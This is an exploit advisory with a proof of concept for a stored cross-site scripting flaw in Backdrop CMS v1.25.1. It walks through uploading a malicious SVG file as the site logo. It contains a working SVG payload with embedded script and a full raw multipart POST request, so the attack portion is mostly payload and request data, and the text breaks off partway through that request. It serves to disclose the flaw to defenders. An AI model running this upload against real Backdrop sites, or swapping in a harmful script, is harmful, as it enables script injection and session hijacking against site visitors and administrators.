Backdrop Cms v1.25.1 – Stored Cross-Site Scripting (XSS)
#Exploit Title: Backdrop Cms v1.25.1 - Stored Cross-Site Scripting (XSS) #Application: Backdrop Cms #Version: v1.25.1 #Bugs: Stored Xss #Technology: PHP #Vendor URL: https://backdropcms.org/ #Software Link: https://github.com/backdrop/backdrop/releases/download/1.25.1/backdrop.zip #Date of found: 12-07-2023 #Author: Mirabbas Ağalarov #Tested on: Linux 2. Technical Details & POC ======================================== 1. login to account 2. go to http://localhost/backdrop/?q=admin/config/system/site-information 3. upload svg file """ <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> """ 4. go to svg file (http://localhost/backdrop/files/malas_2.svg) Request POST /backdrop/?q=admin/config/system/site-information HTTP/1.1 Host: localhost Content-Length: 2116 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVXWRsHHM3TVjALpg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/backdrop/?q=admin/config/system/site-information Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: SESS31b3aee8377692ae3f36f0cf7fe0e752=ZuJtSS2iu5SvcKAFtpK8zPAxrnmFebJ1q26hXhAh__E Connection: close ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_name" My Backdrop Site ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_slogan" ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_mail" admin@admin.com ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="files[site_logo_upload]"; filename="malas.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(document.location); </script> </svg> ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_logo_path" ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="files[site_favicon_upload]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_favicon_path" core/misc/favicon.ico ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_frontpage" home ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_403" ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="site_404" ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="form_build_id" form-PnR6AFEKCB5hAWH3pDT2J0kkZswH0Rdm0qbOFGqNj-Q ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="form_token" siOWtyEEFVg7neDMTYPHVZ2D3D5U60S38l_cRHbnW40 ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="form_id" system_site_information_settings ------WebKitFormBoundaryVXWRsHHM3TVjALpg Content-Disposition: form-data; name="op" Save configuration ------WebKitForm |